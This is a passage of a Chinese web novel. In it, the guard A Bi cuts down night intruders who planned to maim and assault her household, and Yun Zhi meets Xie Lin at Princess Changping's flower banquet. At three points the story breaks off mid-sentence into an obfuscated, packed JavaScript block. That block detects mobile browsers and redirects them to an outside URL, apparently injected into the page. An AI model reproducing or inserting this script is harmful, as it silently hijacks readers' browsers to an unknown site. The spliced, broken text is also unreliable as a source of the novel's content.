若是主子看了这第三张帖子,只怕心情会更差吧! 沈青蹙眉,却蓦然想到了什么,不由得眼神一亮。 那倒也未必。 他一把拿过沈玄手中的帖子,抬手便敲了敲书房的门。 “进来。” 谢凛低沉的声音自书房内响起,沈青便在沈玄满是震惊与崇拜的目光中,推门走了进去。 “公子。”黑暗中,沈青勉强辨认出谢凛的身形,拱手行礼。 “何事?” 谢凛的声音中透出一丝沙哑与疲惫。 “公子,长平公主送了第三张帖子来,邀请您参加赏花宴。” 沈青话音还未落,便听到谢凛似乎重重地呼出一口气。 知道自家主子的脾气,沈青忙加快语速,“但……属下打听到,云织小姐,也会参加长平公主的赏花宴。” 呼气声倏然停住,半晌没有动静。 沈青偷偷抬眸看了一眼,黑暗中,却什么都看不清。 “帖子留下。”许久之后,沈青才听谢凛道。“继续守着那边,谨慎点。” “公子放心!”沈青心瞬间落地,又行了个礼,退了出去。 主子这次留下了帖子,而不是让他直接退回去,这意思,便是会去了。 兴许……主子在百花宴上见到云织小姐,心情能好点。 “公子将帖子留下了?”沈玄见沈青退出来,待关了门,才低声问道。 “嗯。” “沈青,我说还得是你!”沈玄暗暗对沈青竖了下大拇指,“只有你能摸明白主子的心思。你这些日子不在,我实在是心慌。” 沈青心里不由得叹了口气。 他也不想整日无所事事地守在那边,无法替公子办事。 但……他知道,如今云织小姐,是主子极为在意的人。 公子方才叮嘱他谨慎点,是知道云织小姐与燕紫鸢起了冲突,以那燕大小姐的跋扈性格,怕是不会善罢甘休,所以让他定要用心守着。 主子是怕云织小姐吃亏。 既然主子在意,他自然便需尽忠职守。 “不过,沈青,”就在沈青思索间,便听得沈玄又继续低声道:“这位云织小姐,便这么可疑?” 可疑? 沈青疑惑地看着沈玄。 “之前咱们公子怀疑谁是玄师,调查个几日,便能确认个十之八九了,”沈玄皱着眉头,面上满是困惑,“怎么这次怀疑云织小姐,都这么久了,还没有什么结果呢?” “还得你每日去守着,调查线索。” “实在没有头绪,咱们去将人拿回来问话,不就得了吗?哪里还用查这么久!” 沈青听得心里一堵,忍不住抬头看天。 不知道,能不能求一求主子,让主子把这个没脑子的,带去跟许公子换了许柒回来? … 当夜。 云织新宅。 惨淡月色映着宅子里的寂静与黑暗,众人均已睡熟。 倏然间,原本闭目沉睡的阿璧睁开了眼。 她侧耳倾听了一阵,而后悄无声息地起身,穿衣。 轻手轻脚推门而出。 阿璧手持长剑立在院中,眉目冷凝。 半晌之后,忽然提身而起,而后轻飘飘落在了高高的院墙之上。 她动作轻灵,几乎无声无息。 立在墙上时,便与暗夜融为了一体。 “快点,都小心些,别被里面的人发现了!”高墙之外,随着一个刻意压低的声音响起,几个模糊的身影正逐渐摸近。 待来到了阿璧所在的高墙之下,几个人围聚在了一起。 “主家说了,里面除了两个护院外,其余都是女的,很容易。”其中一个人声音压得很低地道。 “护院杀了,女的只断手脚、划了脸便可,不可伤了性命。” “主家还说,这家的主仆几个,都颇有姿色,待拿住了人、堵了嘴,随便咱们兄弟怎么快活。” “稍后就各自行动,记住,一定要小心!先制住了人、堵了嘴再说,千万别闹出动静来,坏了老子的好事!” “大哥,你放心吧!兄弟几个有数!” “放心吧,大哥!” 几个声音压低着附和,其中满是跃跃欲试的迫不及待。 听着下面几人的话,高墙上静立不动的阿璧眼中冷如寒冰,握紧了手中的剑,不由得磨了磨牙。 竟敢打她们的主意,真是好胆! 他们,怕是不知道死字是怎么写的! 阿璧眼中寒光一闪,握着剑,自高墙上一个纵身飘然跃下。 待她将要落在那几人面前,那几人才后知后觉,蓦然抬起头。 “有人!” 带头的人才一句出口,便觉得颈上一凉。 他愣然间抬手摸去,感觉手上一片濡湿。 抬手,借着惨淡的月色看过去。 竟是一手的血。 意识到发生了什么的瞬间,他才感知到脖颈剧痛,想要喊,被割断的喉咙却已发不出声音。 他死死按住颈间的伤口,站立不稳间,便倚靠着墙边歪了下去。 在他逐渐涣散的视线里,一个速度奇快的人影飘然掠过,犹如鬼魅,而与他同来的兄弟还没来得及反应,便先后捂住了脖颈,挣扎着,倒了下去。 均是一剑封喉。 意识彻底消散前,他脑中不由得闪过两个念头。 “这人,好身手……他们兄弟,今日都要栽在此处了……” “不是说,是几个手无缚鸡之力的女人么……” 没有答案。 他双眼死死睁大,眸中的光彩迅速暗淡。 阿璧身姿矫捷在几人间掠过。 这是她自被药老救起醒来后,第一次杀人。 而随着有人不停倒下去,她已是杀红了眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481477|201766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,此刻只想将眼前的贼人全部杀光。 血光中,脑中忽然想起母亲教她练剑时的情景。 “浸月,你记着,无论何时,一定要保护好云织小姐。”母亲面目冷漠,但眸中却满是认真。 “要用命护着。” 练功辛苦,她便抱怨,“娘,为什么!为什么我要这么辛苦练功,保护云织小姐呢!” “因为,作为家主的护卫,家主的命,便是娘的命。”娘抬眸看向前面,素来冷漠的眸子里多了一丝说不清的情绪。 半晌之后,娘回过头看着她,目光依然冰冷,“而作为云织小姐的护卫,云织小姐的命,便是你的命。” 记忆中的画面倏然转换。 雨夜,天黑得伸手不见五指。 娘一身是血,用剑撑住身形,拦在已是重伤垂危的家主身前,蓦然侧头对着她嘶喊:“浸月,快!去找云织小姐!” “娘!”她含着泪,愤然提剑冲上去砍倒围住她们的黑衣人,上前想将娘扶起,“娘,您……” 可她话还未说完,便被母亲狠狠甩了一个耳光。 她被打懵了,愣在了那里。 “江浸月,你还记不记得,娘跟你说过的话!” 大雨中,母亲口鼻流着血,却只冷冷瞪着她,“云织小姐的命,便是你的命!” “快去!!” 她狠狠咬住唇,流着泪,狠心咬着牙提剑转身。 在离开之前,她最后回头看了一眼。 娘跪在家主身前,看着家主,抬着手,像是想要去抚摸家主的脸。 恍惚间,阿璧觉得手腕被人握住,瞬间便自回忆中回神。 阿璧眸色一冷,反手便是一剑刺出,却被来人一个推掌轻易化解,还将她持剑的手也制住。 她咬着牙,翻身便一个抬脚狠踢过去,竟也被人轻易格挡开。 竟然是个高手。 阿璧眸色骤然迸出冷意,便提身欲再上,却见来人扣住最后一名凶徒的脖子,轻呼了声:“阿璧姑娘!” 阿璧生生顿住了身形。 她蹙眉看着身前的人影,不确定地轻声问道:“沈青?” “是我,阿璧姑娘。”沈青扣着那人,轻轻应声。 “阿璧姑娘,留个活口,才好揪出幕后指使。” 阿璧瞬间明白过来。 方才她杀红了眼,只想将这群恶徒全部送下去,与云家枉死的四十余口作伴,却忘了幕后黑手之事。 “嗯。”阿璧应了一声,表示自己明白了。 “阿璧姑娘,此时不宜闹大,以免云织小姐牵涉其中。” 暗夜中,沈青看着阿璧,继续沉声道:“姑娘便就此回去,就当今日未曾出现过。剩下的,交给我。” “好。”阿璧不再多言,最后看了满地的尸体一眼,握着剑提身而起。 越过高墙回到院内,确认并无任何动静后,阿璧才轻轻推开门。 待仔细擦拭了剑身,清理了身上与鞋底沾染的血迹,才又重新躺在榻上。 阿璧想着方才的一幕,想着刚刚脑中闪现的记忆,便再也睡不着了。 她恢复的记忆里,好像从未听娘提起过爹。 所以,她的爹是谁? 阿璧回想起娘说的话,想到娘最后跪在家主面前的模样,不由得攥紧了手。 … 次日一早,昨夜有贼人想要为非作歹,但被巡夜的京畿卫尽数捉拿的事,不过半日便传遍了京城。 只是事发之地,变成了距她们宅子几条街之处。 一时之间,京内人心惶惶。 阿璧特意早起查看时,昨夜她连杀几人的高墙下,已无任何痕迹,被清理得干干净净。 这位沈护卫,行事还真是迅速又妥帖。 “阿璧,怎么了?” 早饭间,云织见阿璧一直愣神,便问道,“这粥,不合胃口吗?” 不知道为何,她觉得阿璧今早起来后便怪怪的。 具体是哪里奇怪,说不上来。 “没有,”阿璧面上扯出些笑意,“就是……昨晚上有些失眠。” 昨夜的事,她并未打算告诉云织。 为了调查京城云家,织织已经够心烦了,何必让她再添负担。 左右有她在,谁也伤不到织织分毫。 “那你今日便不要陪我去云府了。”云织关切地看着阿璧的面色,又道。“秋兰陪我去就好。我很快就回来,你在家好好休息。” “嗯。”阿璧盯着眼前的粥碗,没有抬头。 这是自打醒来后第一次,她没那么想寸步不离地跟在云织身旁。 20. 惊为天人 明日,便是长平公主的赏花宴。 今日一早,阿璧与秋兰秋竹便围着云织,讨论着明日赏花宴云织的衣饰。 “小姐平时穿的太素淡了,明日的赏花宴,要穿得鲜艳些才好。这套红色衣裙耀眼夺目,小姐穿了去,肯定很好看!”秋竹看着托盘中绣楼才送来的新衣,满眼都是喜色。 “红色耀眼是耀眼,就是太热烈了,小姐不喜欢,”秋兰拿起托盘中的另一套堇色的衣裙,轻轻摸了摸,“这套堇色的衣裙颜色好看还不张扬,小姐穿了,肯定更显肤色白皙,容貌艳丽!” “再配上这套南珠的首饰,哎呀,太好看了!” 她们没有参加过什么赏花宴,但既然是富贵公子与小姐们游玩的宴会,自然应该打扮得艳压群芳才好。 她们小姐容貌倾城,只要稍作打扮,保证什么公主什么贵女的,都会被比下去! “小秋兰,你们不懂织织,”阿璧唇角一弯,挑了挑眉,“我们织织最不喜欢浓妆艳抹、花枝招展的,这两套,她都不喜欢。” “这套天水碧色的,才最合织织的心意呢。” 阿璧抬眸看向云织,“织织,你说,这三套衣裙,你最喜欢哪套?” 此时的阿璧眉目生动,不再有半分昨日阴郁低沉的模样。 昨日她心绪烦乱,但很快便想通了。 无论她的爹是谁,娘为何对她如此严厉,她为何要成为织织的贴身护卫,此刻都不重要了。 她与织织彼此的情谊是真的,她对织织发自心底的守护,也是真的。 哪怕之前真的发生过什么她不知道的事,但织织都是无辜的,她不该将哪怕任何一丝怨怼,转至织织身上。 况且,如今她们是彼此唯一的亲人了。 本在垂眸沉思的云织闻言抬头,看着三人手中的衣裙,无奈地一笑。 这赏花宴,她实在不想大费周章,但拗不过阿璧,便任她做主安排了。 这些衣裙首饰,都是阿璧提前订好的。 “阿璧选的这套吧。”半晌之后,云织看着阿璧满眼期待的模样,道。 “我就说吧!”阿璧抱着双臂,一副得意至极的模样。 云织看着阿璧三人热闹地讨论着衣裙首饰,又陷入了沉思。 昨日,阿璧一整日都混迹于茶楼酒肆,已将云家、云妃与长平公主的情况,打听了个大概。 昨日晚饭间,阿璧便将打听到的消息告知云织。 “这位云妃于永昌十二年入宫,入宫后便很得恩宠,两年后便生下了长平公主。” “据说,云妃怀的是双胎,但由于生产时遇险,当日小皇子未能活下来。” “且那之后云妃便再未有孕,当今皇帝与云妃很是宠爱这个女儿。” “也是因此,长平公主被娇养得很是跋扈成性、肆意妄为。” 阿璧顿了顿,眼中满是嫌恶的神色。 “据传言说,两年前,长平公主偶然看中了一名谢家军中的副将,于是不顾身份地位悬殊,也不管那副将是否愿意,硬是以死相逼、求了当今皇帝,为二人赐了婚。” “可是,长平公主下嫁后才不过半年,那副将便因突发重病,撒手人寰了。” “年纪轻轻守了寡,可长平公主毫不在意,独居在皇帝为她修建的公主府里,整日设宴玩乐,过得很是潇洒快活。” “织织,你知道,云归远的云氏药房能在京城站稳脚跟,是为了什么?”说到此处,阿璧转头看向云织。 “因为云妃?”云织道。 “没错!” 阿璧点了点头,“据说,是因为云妃暗中相助的,否则,以云归远的玄师出身、又不懂药理,怎能将这药房开得风生水起呢!” “因着这层亲戚关系,长平公主平日里便与云清川、云妍初兄妹两个走得很近。” “不过……” 阿璧故意拉长了声音,一脸狡黠的看着云织,“我还听到了另一件事。” 看着阿璧意味深长的笑容,云织不由得攥了攥手心,“什么事?” “据坊间传言,这位长平公主,如今对谢家军少将军谢凛,可是情有独钟呢。”阿璧道。 “什么名声啊脸面啊,她全不在乎,整日仗着身份,对谢少将军简直是死缠烂打。” “听说啊,这次赏花宴,长平公主还盛情邀请了谢将军参加呢!” 云织听过之后,心内一时说不出是什么滋味,只是攥紧了手心,半晌无言。 于是昨夜,她便又失眠了。 自那日将那药还给谢凛后,她便再未见过他。 且,近来接近云清川、为云妍初治脸,她刻意让自己忙得很,也刻意控制着自己,不要去想起他。 可在听到阿璧提到谢凛的时候,云织发现,她还是无法做到心如止水。 掌心的同心符微微泛着暖意,无声地证明着,她的自欺欺人。 这些时日,随着她记忆恢复的越来越多,脑中不断出现的两人过去的回忆,也越来越多。 与此同时,她掌心同心符发烫的频次,便越来越频繁。每次发烫时的温度,也越来越灼热。 虽然云织不想承认,但因为听说谢凛会参加,她对这赏花会,便多了一丝莫名的期待。 … 次日一早,云织便被阿璧与秋兰几个叫了起来,好一通梳妆打扮。 “织织,你忍一忍,”阿璧看着云织一脸不情愿的模样,忍不住笑了笑,“毕竟是参加宴会,自然不能太随意,免得失礼嘛!” 云织无奈,只能闭目养神,任由她们折腾。 “好了!” 不知过了多久,云织终于感觉到面上头上的手都挪了开来,便睁开眼。 铜镜内,映出一张堪称绝色的脸。 惯常不施粉黛的面上薄薄敷了一层胭脂,唇上则涂了浅淡的口脂。 只是如此,便使得那素来清冷的面上多了一丝娇艳,更显得楚楚动人。 如此妆容,配上她身上天水碧色的衣裙,与头上点缀的翡翠玉簪、耳上的耳铛互相映衬,显得云织如同瑶池仙子一般,艳绝动人。 “小姐……真的好美啊……”秋兰呆呆地注视着铜镜中的云织,感叹道。 “嗯嗯!”秋竹不知道该怎么形容,便不住点头赞同。 小姐好看,她们从来都是知道的,但却从没见过小姐这样略施粉黛的模样。 这般模样,莫说是许府的几位小姐,便是她们曾远远见过的长平公主、燕大小姐等等皇家公主或名门贵女,都不及云织小姐的三分姿容! “怎么样,本姑娘的眼光,不错吧!”阿璧看着云织的模样,满意地点了点头。 云织如今这样的打扮,倒是与她记忆中,曾经在凤梧山上,还是云昭月时的模样,有了几分相似。 “阿璧姐姐眼光绝佳,这衣裙,真的太衬小姐了!”秋兰秋竹亲热地拉住阿璧的手臂,笑着道。 经过这些时日的相处,如今她们两人对待云织与阿璧,早不再是在许府时胆怯瑟缩的模样了。 “好了,不要奉承本姑娘了!”阿璧挑了挑眉,对着云织道,“时辰差不多了,我们走吧!” “嗯。” 云织与阿璧一起出了门,便坐了马车,前往云府。 “织织,这些药你带好了,除了要应付云妍初、配置的药材外,还有这些应急用的。”阿璧将手中的瓶瓶罐罐放在马车上,皱着眉叮嘱。 “我在门外等你。如果有什么紧急情况,你便吹响这竹笛,我定然杀进去救你!” 公主府戒备森严,且自有公主府的规矩。 宴席间全部由府中的下人伺候,前来赴宴的公子小姐们,是不可以带着侍从入内的。 “好。”云织点头,“放心,我带着药和银针呢,若是有什么特殊情况,我也可以应对的。” “你的针和药,出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“妍初小姐过奖了。小姐需要用到的药,我都备好了。”云织刻意忽略云清川看过来的目光,点头示意后,便看向云妍初。 “多谢云织小姐,今日……还要麻烦你了。”云妍初满眼的感激。 由于三人在门前的稍作停留,此刻已经有不少或是好奇或是审视的目光向着三人望过来。 “这是哪家的小姐?怎的从来没见过。” “不清楚,竟然与云家的少爷与小姐一起同行,想必也是京中哪家的贵女。” “这位小姐生得倒好看,是个美人呢!” 云织不理会身旁的议论,对着云妍初道:“我们进去吧。” “嗯!” 三人来到门前,验过了帖子,便有府中的下人引着三人入了公主府。 三人的身影才消失在府门前,一阵哒哒的马蹄声响起,越来越近。 门外的众人均是循声看去。 街道尽头,一名玄衣男子正策马而来。 待来到公主府门前,来人一勒缰绳,而后潇洒下马。 男子一套玄色长衫,腰间扎了条同色腰带,长身玉立、俊逸非凡,只是面目冷峻如冰,周身气势很是逼人。 “这是……是谢凛谢少将军吗?”门前还未进入公主府的公子小姐们看着来人,又开始窃窃私语。 “天呐,真的是谢将军!想不到,今日竟会见到谢将军!” “谢将军竟肯应邀前来,参加长公主的赏花宴?” “听说……长公主可是给谢将军下了三张帖子的,谢将军又如何会不来呢!” “往日长公主下给谢将军的帖子少了吗,你看哪次谢将军肯赏脸光顾了!” “别说了,谢将军过来了!” 谢凛全然不顾身旁的目光与议论,目不斜视地来到门前,验过帖子后便进了公主府。 “咱们也快些进去吧!” “走走!” 待谢凛的身影消失在公主府门内,门外的众人便都起了兴致。 往日长平公主也时常作宴的,但前来参加的,来来去去就是那么些面孔,看的久了,便看腻了。 可今日不同。 今日这宴,不仅有从未见过的貌美贵女,竟还有谢凛这位从不参与这些宴会活动的冷面少将军。 今日的赏花宴,定然是热闹非凡。 21. 青楼头牌 赏花宴,这头一桩事,自然便是赏花。 公主府偌大的后花园,满园花木乱人眼,金桂飘香、丹枫似火,配上各色的名贵菊花与清雅的木槿,显得整个后花园雅致不俗,又贵气逼人。 贵女公子们各自分散开,缓步欣赏各色奇花异植。 众人三五成群,多数是公子们聚在一起闲谈,贵女们也与相熟好友一起说着话。偶尔也有几个胆子大的公子,上前与贵女们攀谈,惹得贵女们一脸羞怯。 能来参与长平公主这秋日赏花宴的,自然是非富即贵,且是各家嫡出的公子小姐们,不管是借机攀交还是物色良人,自然都是绝佳的场合。贵女们虽害羞,倒也并不觉得失礼。 云织自进了公主府起,她的心思便不在满园花木上,更不在各色公子小姐身上。 她陪着云妍初入了后花园,假意环视了一周,确认了都有什么花木后,便借口要立即为云妍初配置药膏,离开了后花园。 云妍初显然早便与长平公主打过招呼,简单交代了几句后,便有丫鬟引着云织,来到了后院一间僻静的客房。 “云织小姐,您便在这里休息吧。”引着她过来的丫鬟恭敬行了一礼,才转身出去。 待丫鬟走后,云织简单查看了下房间,便动手为云妍初配置药膏。 因云妍初的脸实际已经痊愈,所谓花粉影响,不过是她借机来这赏花宴随口说的借口,自然也不需要什么特效药,云织便简单调制了一份美容养颜的药膏,以瓷瓶装好,收在了袖中。 一切就绪,云织便动身出门。 待她来到院中却发现,方才引着她前来的丫鬟,并没有等在院中。 想来应是今日宾客众多,顾不得等她,便先去忙了。 云织并不在意,这公主府虽大,但她还不至于找不到方才来时的路。 她向着来时的方向走了几步,便蓦然停住了脚步。 侧头向着一个方向看过去,蹙眉。 这感觉和气息,云织再熟悉不过。 有碎魂。 且,怨气应是很大。 云织只犹豫了一瞬,便向着感知到碎魂的方向走了过去。 她来这里,本就是为了调查线索。而显然,死去的人可以告诉她的,要比活着的人多得多。 就算她被人发现了,也可以借口方才出来后迷了路,无意间走到了此处,而蒙混过关。 云织循着感应来到了另一个院子,终于,在屋外的走廊里,发现了一道碎魂。 这碎魂只有一道,面目模糊不清,隐约可以看见是个丫鬟打扮的女子。 一个丫鬟,死后怨气极大而魂魄碎裂,且一直滞留在长平公主府。 这丫鬟的死,怕是不简单。 云织不再犹豫,伸手拔下头上的玉簪。 随着她的动作,那道碎魂轻颤着,被吸入了簪中。 “动作都快一些,客人们都等着呢!”就在此时,一声呼喊突然打破了这院中的寂静。 云织方才专注收魂,没有意识到有人前来,此刻想要再躲,却有些来不及了。 凌乱的脚步声由远及近,就在她蹙眉思考对策间,却感觉眼前似乎有一阵风掠过。 还不待她有所反应,腰身瞬间被人搂住。 云织心头一惊,下一瞬整个人便被腰上的手臂带着,腾空而起。 “嘘!” 她下意识便几乎惊呼出声,却听到头顶传来一道清润的男子声音。 虽只有一个字,云织却是瞬时捂住了嘴。 因为……这道声音,和这人身上清冽的松香味道,她无比熟悉。 云织被谢凛揽着,立在廊顶的一条梁木上,而他的另一只手则牢牢扣住廊顶。 由于廊上空间狭小且不好立足,谢凛似乎担心她会跌落,手揽得很紧,云织的身子,几乎便是紧贴着他的。 腰间的手臂温热且有力,耳侧掠过他轻浅的呼吸,云织的心瞬间便跳乱了。 此刻她才后知后觉意识到,方才被谢凛带上廊顶时,她惊慌下抬手抓住了谢凛的前襟,此刻她的手依然抵在他胸前。 云织面上一热,便忙向后倾身,想要收回手。 “别动。”她才刚要动作,便听到头顶上方传来谢凛极轻的声音,同时腰间的手臂微微一紧。 云织瞬间身体紧绷,再不敢动。 “都快点的!”此刻,两人脚下的走廊中,一队丫鬟仆从正排着队匆匆走过。 “今日是咱们公主府的大日子,若是谁躲懒被我发现了,仔细我扒了他的皮!” 半晌后,随着纷乱的脚步声逐渐远去,走廊又重归寂静,再听不见任何声音。 但,并非听不见任何声音。 云织面色如火烧,只听得她的心跳声——咚,咚,咚,在此刻竟显得格外清晰。 “已经没人了……”云织松开了抓住谢凛衣襟的手,将身子撤开了些。 谢凛并未言语,而是松开扣住梁顶的手,带着云织轻轻跃下。 两人稳稳落地,谢凛便松开了揽在云织腰间的手臂。 云织竭力调整自己纷乱的呼吸,后退了两步,半晌后才轻声开口:“方才,多谢谢公子。” 谢凛看着云织,并未出声。 一瞬之后,云织才听得谢凛道:“云织小姐方才,是在,收魂?” 云织闻言抬眸。 面前的谢凛依旧面色平静,但一对漆眸却亮如星子。 “谢公子,都看到了?”云织话音才落,终于察觉到不对,“谢公子方才,是在跟踪我?” “这公主府不比别处,你一个人离开花园,太过危险。”谢凛浅声道。 这回答,既未说是,也未说不是,却瞬间搅乱了云织心湖。 他一直关注着我? 为何? 他的同心符没有反应,他不知道我是云昭月—— 为何,还对我的安危这般在意? 云织蓦然发现,此次她似乎没办法用“因为她也姓云”这个理由,来回答自己。 “多谢谢公子关心。” 半晌之后,云织才攥紧着灼热的手心,极不自然地应道,“我自会小心。” “出了这院子,左转,一直向前,便会回到后花园。”谢凛注视着云织,声音依旧清润,却又似乎多了些温柔,“你先走。” 云织不再多言,点了点头后便转身离开,只是步伐却略显零乱。 待云织的身影快要消失在视线中,谢凛才抬脚,远远跟上。 他边信步走着,边忍不住弯了弯嘴角。 抬眸间,看着前方云织似是落荒而逃的背影,眼底都是满溢的情愫与温柔,哪里还有半分平日的疏冷。 谢凛背着手,感受着掌心同心符灼然的热意,不由得回想起方才揽着云织躲在廊顶的瞬间。 她纤细柔软的腰身,发间淡淡的桂花香气,那张让他朝思暮想的脸离得如此之近—— 近到能看到她眼底的慌乱,听到她的心跳声,感受到她的呼吸。 像极了曾在凤梧山上时,漫山遍野树木的清新气息与花草飘香,只有他们二人。 而他们二人的心中、眼中,则只有彼此。 他们方才,算不算是……在幽会? 想到方才云织微红的脸与躲闪的眼神,谢凛不由得又弯了弯嘴角。 近几日盘踞心内的阴霾一扫而空。 这赏花宴,果真是来对了。 … 待云织回到了后花园,将配好的药膏给了云妍初,便找了个借口走开,独自坐在了摆着各色点心的桌案前。 方才谢凛护住她的那一幕,仍不停在她脑中闪现,让她的心跳久久不能平静。 第一次,她对谢凛的同心符是否真的没有反应,生了疑。 以谢凛的情深,绝无可能在未认出她的情形下,对以为是另一个人的她,生出什么心思。 那么,他对她多次相助,和特意的关心,难道是说——他认出她了? 可…… 她如今顶着与过去全然不同的脸,若非同心符的缘故,谢凛又如何能认出她? 若是他真的认出她了,那么,又为何不挑明? “云织小姐,可是有心事?”正在云织垂眸思索间,蓦然听到身侧传来一道男子温柔的声音。 云织抬眸,便见云清川正一脸温和地浅笑着,站在她身旁。 “定然是了,否则不会在下在这站了许久,云织小姐都未曾发现。” “没有。”云织干脆否认,“只是我对这些花木不感兴趣,看得累了。” 云清川闻言,面上的笑容又深了些许。 “云织小姐不爱赏花,似乎也并不喜欢衣裙首饰,那么往日,都喜欢做些什么?” “学医术,认草药,”云织顿了顿,隐去了眸底的情绪,“说起来,云氏药房在京中独占鳌头,云氏的许多珍稀药方与药草,云织也有所耳闻。云大公子如今管理着云氏药房,想必对药草一类,也很有心得。” “听药房掌柜的说,云氏药房的独家秘方—玉露涤尘丹,因药材珍稀,已经断货很久,这药材,很难得么?” 云清川面上的笑意微微一顿。 半晌之后,那抹笑意便转为了苦笑。 “实不相瞒,在下现在虽然管着药房,但在下并不通药理,更不像云织小姐一般,懂得医术和各种草药。”云清川道。 “之前药房都是家父管理,那涤尘丹的药材,也是我父亲亲自进回来,我并不知晓。” “自从家父……失踪后,这味药的药材,便断供了。” 云织的手不由得微微收紧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481479|201766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想想恢复的记忆中,云归远每次带了云清川上凤梧山来,似乎都是独自与父亲说话,而云清川则来见母亲与她。 难道,他果真不知道那药材是来自凤梧山上? “云伯父,失踪了?” 云织抬眸,眼底带了一丝恰到好处的惊讶,“未曾听妍初小姐提起过。怎会如此呢?” 云清川垂眸,面上便现出些落寞之色。 “是……”半晌之后,他才刚要开口说什么,便被一声通传声打断了。 “公主殿下到!” 原本三五成群各自交谈的人群,在听到这通报声后,均不由得停下了交谈,缓缓聚集了过来。 云清川也停住了未说完的话,对着云织浅笑了笑,“此事,说来话长。我们先过去吧!” 云织点了点头。 在随着众人围过去的时候,云织不由得想,云清川方才,要对她说什么。 会敷衍她说云归远的失踪,他全不知情? 还是会告诉她,他的父亲曾与凤梧山云氏关系密切,在凤梧山被灭门的当夜,也不知所踪? “公主殿下来了!” 身边贵女小姐们的私语拉回了云织的思绪。 云织抬眸望去,便见到一位着大红色衣裙的艳丽女子,正在丫鬟的簇拥之下,缓步而来。 她一身流云曳地长裙,衣裙上的绣线在日光下光华流转,贵气逼人。 满头青丝绾成发髻,其上满是珠翠与金饰步摇,随着她的脚步轻颤。 长平公主肤如新雪,一对杏眸眼尾微微上挑,含笑带媚,唇上涂了大红色的口脂,嘴角微弯含笑时,更添三分风情。 “公主殿下今日,真是明艳照人呢!” “是啊!真是国色天香!” 云织看着长平公主的模样,听着身旁小姐的赞叹奉承,不由得皱了皱眉头。 明艳照人? 国色天香? 她看这长平公主的神态模样,莫说是世家小姐,说像是哪个青楼的头牌,还差不多。 “欢迎诸位公子小姐,参加本宫的这赏花宴。”长平公主的目光环视了一周,轻启朱唇道。 她的声音与人一样,似羞带媚,听得云织极不舒服,不由得又皱了皱眉。 “今日这宴,虽说赏的是本宫后花园的这些花木,但……谁说赏的,就不是今日如花似玉、人比花娇的诸位小姐呢!” 长平公主言罢,抬起涂了蔻丹的纤手盖住红唇,浅笑了几声。 园中的诸位公子皆是会心一笑,而另一侧的小姐贵女们则是纷纷羞红了脸。 “本宫自然是开个玩笑。”长平公主抬眸,睥睨的目光自全场扫视而过。 在扫过云织时,不由得微微皱了皱眉。 云织的气质清冷独特,虽说打扮得并不艳丽夺目,但只是站在那里,却偏偏能吸引着人忍不住看过去。 这样的女子,她很难不注意。 且,这人还是个生面孔,她之前似乎从未见过。 长平公主的目光停顿只有一瞬,而后便不动声色地挪开了。 但只是那一瞬,却被两个人同时看在了眼里。 与云妍初、许姝站在一处的燕紫鸢,看到长平公主方才的神态,又顺着她的目光看了看云织,若有所思。 而独自立于一角的谢凛,在察觉到长平公主对云织的关注后,瞬间蹙着眉,面目一冷。 长平公主的目光继续游走,半晌后,便落在了独自抱着手臂远离人群,靠近一株桂树的谢凛身上。 她看着谢凛,美目含情,嘴角的笑意又深了几许。 “难得谢少将军今日肯赏脸,来参加本宫这赏花宴。”长平公主的声音娇媚,带出一丝撒娇的意味,“谢少将军,今日定要尽兴才好。” “本宫这满园的景色,定不会叫少将军,败兴而归。” 长平公主话音一落,满园公子与小姐的目光几乎瞬间便落在了谢凛的身上。 长平公主所言的言外之意,只怕只要不是傻的,都能听得懂。 这是在用园中的景色代指她自己,暗示谢少将军有花堪折直须折,不要不解风情呢! 一时间,园中众人均是心中了然,但面上偏偏要强忍着,不能显露出一丝异色。 谢凛仍是一副冷漠至极的模样,像是没有听到长平公主所言一般,便连姿势都没有变一下。 而云织看着长平公主一对美目含情脉脉地看着谢凛,而谢凛似乎浑然不知、一副泰然自若的模样,不由得又皱了皱眉。 想起阿璧曾说的那些话,心里一阵复杂的情绪涌起,像有无数的细针,细细密密地刺在心上。 看着长平公主的模样,便愈加觉得刺眼。 方才她想错了。 这般轻浮的模样,怕是连青楼的头牌都比不上。 22. 搭台唱戏 此时已近巳时,诸位公子小姐赏了半日的花,有些累了,便均在桌案前坐了。 公主府的丫鬟来来往往,上好的茶水与琳琅满目的各色点心流水一样地端了上来。 云织独自坐了一桌,而云妍初则是与几个贵女一起,坐了长平公主所在的主桌。 云织并不在意。 她实在疲于应对各色寒暄,难得落得个清净自在。 但,以云织的姿容气质,想要不引人注意、落得清净,却很难。 不时有各色贵女公子的目光有意无意地扫过,还有或高或低的议论私语。 云织心中烦乱,索性便垂了眼。 所以,她没有看到,燕紫鸢与许姝二人,立在长平公主的身侧,悄声说了好一会的话。 也没有看到,被众公子围住、面带笑意交谈的云清川,与独自坐在角落处、满面冷然的谢凛,两人时不时投向她的视线。 “二皇子到!” 众人正歇坐着,蓦然一声传报声响起,园中霎时一片寂静。 所有人忙站起身,同时互相议论纷纷。 “二皇子殿下竟真的来了?” “天哪!今日这赏花宴,实在是……太多惊喜了!” 其中反应最大的,莫过于云妍初了。 